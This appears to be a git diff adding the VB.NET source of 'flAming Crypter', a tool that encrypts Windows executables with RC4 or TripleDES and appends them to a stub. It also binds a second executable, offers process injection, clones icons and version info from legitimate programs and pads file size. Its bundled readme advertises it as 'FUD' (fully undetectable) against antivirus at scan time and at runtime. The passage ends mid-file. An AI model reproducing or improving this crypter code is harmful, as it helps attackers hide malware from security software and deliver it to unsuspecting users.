7h/Ci8/1MR7/AC/zoooAtWnEU4H9+h+poooAYSf7QP8A1zP8xWkn35R2z/SiigCrNwj4ozujYHkHHBoo + oAsqABPgY/yKqWbN9sK7jtKdM8UUUAXH401ccc9qrW7E+Zkk/U0UUAQP94Ui/wCpk+hoooECk+QvPpVm + AAtNwKKKBkX8Mlamnknbk5/dDrRRQA6f/Vw/U1G/M0ee7UUUCLSDF22OMx84qTpND7MaKKBj5ifLPJpk + pOE5PSiigBuSXX6moZifn+ooooArOf8ATs99tXiAZkzzwKKKAIbokOQDgbu30p6qNo4HWiigBZOEOOOa + fa/eb3xRRQA5/ur/AL9TknZLz/CKKKAIkJEXBxx2+tXox+7X6UUUAJbcyH6mnOB6DpRRQBE3b6U4M27b + k4x0zRRQA+MA3C5561MvP4CiigDzHXmZtTn3MT+8PU1mnjOPSiikIB/qSe+7rSfwE9/WiigYqk8jPHpR + 6jtiiigQHtU6ABZcD/ll/WiigCJSdzDsR/SkkAB4HYUUUAJEAZFB9aaPvfj/AFoooAlfhmFPtAGaTIB+ + Ruv0oooAhH+sA7ZqduBJj+8KKKAI1+7Ux+/+AoooA//Z + + + + + AAABAAEAICAAAQAAAACoCAAAFgAAACgAAAAgAAAAQAAAAAEACAAAAAAAgAQAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAQAAAAIAAAAD/AAAAACAAAEAgAACAIAAA/yAAAABAAABAQAAAgEAAAP9AAAAAYAAAQGAAAIBg + AAD/YAAAAIAAAECAAACAgAAA/4AAAACgAABAoAAAgKAAAP+gAAAAwAAAQMAAAIDAAAD/wAAAAP8AAED/ + AACA/wAA//8AAAAAIABAACAAgAAgAP8AIAAAICAAQCAgAIAgIAD/ICAAAEAgAEBAIACAQCAA/0AgAABg + IABAYCAAgGAgAP9gIAAAgCAAQIAgAICAIAD/gCAAAKAgAECgIACAoCAA/6AgAADAIABAwCAAgMAgAP/A + IAAA/yAAQP8gAID/IAD//yAAAABAAEAAQACAAEAA/wBAAAAgQABAIEAAgCBAAP8gQAAAQEAAQEBAAIBA + QAD/QEAAAGBAAEBgQACAYEAA/2BAAACAQABAgEAAgIBAAP+AQAAAoEAAQKBAAICgQAD/oEAAAMBAAEDA + QACAwEAA/8BAAAD/QABA/0AAgP9AAP//QAAAAGAAQABgAIAAYAD/AGAAACBgAEAgYACAIGAA/yBgAABA + YABAQGAAgEBgAP9AYAAAYGAAQGBgAIBgYAD/YGAAAIBgAECAYACAgGAA/4BgAACgYABAoGAAgKBgAP+g + YAAAwGAAQMBgAIDAYAD/wGAAAP9gAED/YACA/2AA//9gAAAAgABAAIAAgACAAP8AgAAAIIAAQCCAAIAg + gAD/IIAAAECAAEBAgACAQIAA/0CAAABggABAYIAAgGCAAP9ggAAAgIAAQICAAICAgAD/gIAAAKCAAECg + gACAoIAA/6CAAADAgABAwIAAgMCAAP/AgAAA/4AAQP+AAID/gAD//4AAAACgAEAAoACAAKAA/wCgAAAg + oABAIKAAgCCgAP8goAAAQKAAQECgAIBAoAD/QKAAAGCgAEBgoACAYKAA/2CgAACAoABAgKAAgICgAP+A + oAAAoKAAQKCgAICgoAD/oKAAAMCgAEDAoACAwKAA/8CgAAD/oABA/6AAgP+gAP//oAAAAMAAQADAAIAA + wAD/AMAAACDAAEAgwACAIMAA/yDAAABAwABAQMAAgEDAAP9AwAAAYMAAQGDAAIBgwAD/YMAAAIDAAECA + wACAgMAA/4DAAACgwABAoMAAgKDAAP+gwAAAwMAAQMDAAIDAwAD/wMAAAP/AAED/wACA/8AA///AAAAA + /wBAAP8AgAD/AP8A/wAAIP8AQCD/AIAg/wD/IP8AAED/AEBA/wCAQP8A/0D/AABg/wBAYP8AgGD/AP9g + /wAAgP8AQID/AICA/wD/gP8AAKD/AECg/wCAoP8A/6D/AADA/wBAwP8AgMD/AP/A/wAA//8AQP//AID/ + /wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG1t + bW1tbW1tbQAAAAAAAAAAAAAAAAAAAAAAAABtbW1tbW1tbW1tbW1tbW1tAAAAAAAAAAAAAAAAAABtbW1t + bW1tbW1tbW1tbW1tbW1tbQAAAAAAAAAAAAAAbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW0AAAAAAAAAAG1t + bW1tbQAAAAAAAAAAAABtbW1tbW1tbW0AAAAAAABtbW1tAAAAAAAAAAAAAAAAAAAAAG1tbW1tbW0AAAAA + bW1tAAAAAG38/Pz8/Pz8/Pz8bQAAAABtbW1tbW0AAABtAAAAbfz8/Pz8/PxsbPz8/Pz8/PxtAAAAbW1t + bQAAAAAAbfz8bPz8/Pz8/AAA/Pz8/Pz8bPz8bQAAbW1tbQAAAG38/Gz8/Gz8/PxsAABs/Pz8bPz8bPz8 + bQAAbW1tAABt/PxsAPz8APz8/AAAAAD8/PwA/PwAbPz8bQBtbW0AAPz8bAAA/GwAbPxsAAAAAGz8bABs + /AAAbPz8AABtbQAA/GwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbPwAAG1tAAD8AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAA/AAAbW0AAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AABtbQAA/GwAAAAAAGz8/Gxs + AABsbPz8bAAAAAAAbPwAAG1tAAD8/GwAAAAA/Pz8/AAAAAD8/Pz8AAAAAGz8/AAAbQAAAG38/GwAAABs + /Pz8AAAAAPz8/GwAAABs/PxtAG1tAAAAAG38/GwAAABs/PwAAAAA/PxsAAAAbPz8bQAAbQAAAAAAAG38 + /PxsAAAA/AD8/AD8AAAAbPz8/G0AAG0AAAAAAAAAAABt/Pz8/Pz8/Pz8/Pz8/Pz8/G0AAAAAAAAAAAAA + AAAAAAAAAG38/Pz8/Pz8/Pz8bQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP////////////////////////////AH//8AAP/8AAA/+AAAD/AAAAfgAAADwAAAAcAA + AAHAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAABgAAAA8AAAAfgAAAf+AAAf/4A + Af//wA////////////////// + + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/Form1.vb b/scode (MyCrypterzzz/MyCrypter/Form1.vb new file mode 100644 index 0000000..d0d8a0f --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form1.vb @@ -0,0 +1,293 @@ +Imports System.IO +Imports System.Text + +Public Class Form1 + Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String + Dim output As String = Application.StartupPath + "\done.exe" + Dim Stub As String = Application.StartupPath + "\winini.exe" + + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click + If TextFile.Text = "" Then + MsgBox("Select a file to crypt.", MsgBoxStyle.Information, "Select a file") + Exit Sub + End If + + If File.Exists(output) Then + Kill(output) + End If + + File.Copy(Application.StartupPath + "\res\winini.exe", Stub) + + If CheckAntis.Checked Then + antis = "true" + Else + antis = "false" + End If + + If CheckInject.Checked Then + processZ = TextProc.Text + Else + processZ = "own" + End If + + If CheckIcon.Checked = True Then + If TextIcon.Text = "" Then + MsgBox("Select an icon.", MsgBoxStyle.Information, "Select an icon") + Exit Sub + End If + Else + Call IconIt(TextIcon.Text) + End If + + If CheckClone.Checked = True Then + If TextClone.Text = "" Then + MsgBox("Select a file to clone with..", MsgBoxStyle.Information, "Clone") + Exit Sub + End If + Else + Call CloneIt(TextClone.Text) + End If + + Call cit() + + File.Delete(Stub) + + TextBox1.Text = ReadEOFData(TextFile.Text) + + If CheckBox1.Checked = True Then + ReadEOFData(TextFile.Text) + WriteEOFData(output, TextBox1.Text) + End If + + If CheckBytes.Checked Then + Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe") + Dim siza = file1.Seek(0, SeekOrigin.[End]) + Dim size = Convert.ToInt32(TextBytes.Text) + Dim bite As Decimal = size * 1048576 + While siza < bite + siza += 1 + file1.WriteByte(0) + End While + file1.Close() + End If + MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success") + End Sub + + Private Sub IconIt(ByVal SourceIcon As String) + Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0") + End Sub + Private Sub CloneIt(ByVal SourceFile As String) + Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,") + Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,") + Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,") + End Sub + Public Function App_Path() As String + Return System.AppDomain.CurrentDomain.BaseDirectory() + End Function + + Private Sub cit() + Dim key As String = TextEnc.Text + Dim Cut As String = "/Assembly/" + 'get stub + FileOpen(1, Stub, OpenMode.Binary) + res = Space(LOF(1)) + FileGet(1, res) + FileClose(1) + + 'get file to crypt + FileOpen(1, (TextFile.Text), OpenMode.Binary) + ifile = Space(LOF(1)) + FileGet(1, ifile) + FileClose(1) + + 'get file to bind + If CheckBind.Checked Then + iSbinded = "yes" + FileOpen(1, (TextBind.Text), OpenMode.Binary) + bfile = Space(LOF(1)) + FileGet(1, bfile) + FileClose(1) + b1file = bfile + If CheckDES.Checked Then + b1file = _3des.Encrypt(bfile, key, True) + ElseIf CheckRC4.Checked Then + b1file = rc4.rc4(bfile, key) + End If + End If + + cfile = ifile + If CheckDES.Checked Then + enctype = "tripleDES" + cfile = _3des.Encrypt(ifile, key, True) + ElseIf CheckRC4.Checked Then + enctype = "rc4" + cfile = rc4.rc4(ifile, key) + End If + + FileOpen(1, output, OpenMode.Binary) + FilePut(1, res) + FilePut(1, Cut) + FilePut(1, cfile) + FilePut(1, Cut) + FilePut(1, key) + FilePut(1, Cut) + FilePut(1, enctype) + FilePut(1, Cut) + FilePut(1, antis) + FilePut(1, Cut) + FilePut(1, processZ) + FilePut(1, Cut) + FilePut(1, iSbinded) + FilePut(1, Cut) + FilePut(1, b1file) + FilePut(1, Cut) + FileClose(1) + End Sub + + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextFile.Text = .FileName + ifile = TextFile.Text + End With + End Sub + + Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Icons(*.ico)|*.ico" + .ShowDialog() + TextIcon.Text = .FileName + End With + End Sub + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Dim myfkey As String = GetRandom.ToString + TextEnc.Text = myfkey + CreateObject("SAPI.SpVoice").Speak("Welcome to flAming Crypter") + End Sub + + Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer + Dim random As New Random() + Return random.Next(min, max) + End Function + + Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String + Dim builder As New StringBuilder() + Dim random As New Random() + Dim ch As Char + Dim i As Integer + For i = 0 To size - 1 + ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65))) + builder.Append(ch) + Next i + If lowerCase Then + Return builder.ToString().ToLower() + End If + Return builder.ToString() + End Function + + Public Function GetRandom() As String + Dim builder As New StringBuilder() + builder.Append(RandomString(4, True)) + builder.Append(RandomNumber(1000, 9999)) + builder.Append(RandomString(2, False)) + Return builder.ToString() + End Function + + + Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextClone.Text = .FileName + End With + End Sub + + Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextBind.Text = .FileName + End With + End Sub + + Public Function ReadEOFData(ByRef FilePath As String) As String + On Error GoTo Err_Renamed + Dim sEOFBuf, sFileBuf, sChar As String + Dim lPos2, lFF, lPos, lCount As Integer + If Dir(FilePath) = "" Then GoTo Err_Renamed + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + sFileBuf = Space(LOF(lFF)) + FileGet(lFF, sFileBuf) + FileClose(lFF) + lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30)) + sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1)) + ReadEOFData = StrReverse(sEOFBuf) + If ReadEOFData = "" Then + End If + Exit Function +Err_Renamed: + ReadEOFData = vbNullString + End Function + + Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String) + Dim sFileBuf As String + Dim lFF As Integer + On Error Resume Next + If Dir(FilePath) = "" Then Exit Sub + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + sFileBuf = Space(LOF(lFF)) + FileGet(lFF, sFileBuf) + FileClose(lFF) + Kill(FilePath) + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + FilePut(lFF, sFileBuf & EOFData) + FileClose(lFF) + End Sub + + Public Function GetNullBytes(ByRef lNum As Object) As String + Dim sBuf As String + Dim i As Short + For i = 1 To lNum + sBuf = sBuf & Chr(0) + Next + GetNullBytes = sBuf + End Function + + Private Sub CheckClone_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckClone.CheckedChanged + If CheckClone.Checked = True Then + BtnClone.Enabled = True + ElseIf CheckClone.Checked = False Then + BtnClone.Enabled = False + End If + End Sub + + Private Sub CheckIcon_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckIcon.CheckedChanged + If CheckIcon.Checked = True Then + BtnIcon.Enabled = True + ElseIf CheckIcon.Checked = False Then + BtnIcon.Enabled = False + End If + End Sub + + Private Sub CheckBind_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBind.CheckedChanged + If CheckBind.Checked = True Then + BtnBind.Enabled = True + ElseIf CheckBind.Checked = False Then + BtnBind.Enabled = False + End If + End Sub + Private Sub frmMain_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing + Form2.Close() + End Sub +End Class diff --git a/scode (MyCrypterzzz/MyCrypter/Form2.Designer.vb b/scode (MyCrypterzzz/MyCrypter/Form2.Designer.vb new file mode 100644 index 0000000..f7ed70a --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form2.Designer.vb @@ -0,0 +1,83 @@ + _ +Partial Class Form2 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2)) + Me.Label1 = New System.Windows.Forms.Label + Me.Button1 = New System.Windows.Forms.Button + Me.Button2 = New System.Windows.Forms.Button + Me.SuspendLayout() + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(12, 9) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(352, 325) + Me.Label1.TabIndex = 0 + Me.Label1.Text = resources.GetString("Label1.Text") + Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'Button1 + ' + Me.Button1.Image = CType(resources.GetObject("Button1.Image"), System.Drawing.Image) + Me.Button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft + Me.Button1.Location = New System.Drawing.Point(323, 337) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(46, 23) + Me.Button1.TabIndex = 1 + Me.Button1.Text = "Exit" + Me.Button1.TextAlign = System.Drawing.ContentAlignment.MiddleRight + Me.Button1.UseVisualStyleBackColor = True + ' + 'Button2 + ' + Me.Button2.Image = CType(resources.GetObject("Button2.Image"), System.Drawing.Image) + Me.Button2.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft + Me.Button2.Location = New System.Drawing.Point(274, 337) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(43, 23) + Me.Button2.TabIndex = 2 + Me.Button2.Text = "Ok" + Me.Button2.TextAlign = System.Drawing.ContentAlignment.MiddleRight + Me.Button2.UseVisualStyleBackColor = True + ' + 'Form2 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(381, 363) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.Label1) + Me.Name = "Form2" + Me.ShowIcon = False + Me.Text = "Read Me" + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Button2 As System.Windows.Forms.Button +End Class diff --git a/scode (MyCrypterzzz/MyCrypter/Form2.resx b/scode (MyCrypterzzz/MyCrypter/Form2.resx new file mode 100644 index 0000000..8ef1007 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form2.resx @@ -0,0 +1,182 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Hello and welcome to flAming Crypter! + +flAming Crypter is made in VB.NET so it requires .NET framework to work. + +flAming Crypter is FUD Scantime+Runtime crypter. + +flAming Crypter has been tested and works on Windows XP/7/Vista. + +It has 2 encryption methods, RC4 and TripleDES. + +Everytime the crypter starts there is a new encryption key. + +It has built in an icon changer, file cloner, binder, file pumper, antis. + +Made by flAmingw0rm. + +Special Thanks to: t0fx (The source code, RunPE are made by him) + +I just edited a few things and added EOF support! + +Thanks to: +Romeo +RedTube + +~ Enjoy ~ + + + + + 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 + otzR//e77/8AFBLAlvw+qL4AAAAASUVORK5CYII= + + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/Form2.vb b/scode (MyCrypterzzz/MyCrypter/Form2.vb new file mode 100644 index 0000000..196dd6b --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form2.vb @@ -0,0 +1,12 @@ +Public Class Form2 + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Form1.Close() + Me.Close() + End Sub + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + Me.Hide() + Form1.Show() + End Sub +End Class \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Application.Designer.vb b/scode (MyCrypterzzz/MyCrypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..b96fc71 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.flAmingCrypter.Form2 + End Sub + End Class +End Namespace diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Application.myapp b/scode (MyCrypterzzz/MyCrypter/My Project/Application.myapp new file mode 100644 index 0000000..9f3815a --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form2 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/AssemblyInfo.vb b/scode (MyCrypterzzz/MyCrypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..2a8e45f --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Resources.Designer.vb b/scode (MyCrypterzzz/MyCrypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..b34f33e --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("flAmingCrypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Resources.resx b/scode (MyCrypterzzz/MyCrypter/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/MyCrypter/My Project/Settings.Designer.vb b/scode (MyCrypterzzz/MyCrypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..05c393c --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared 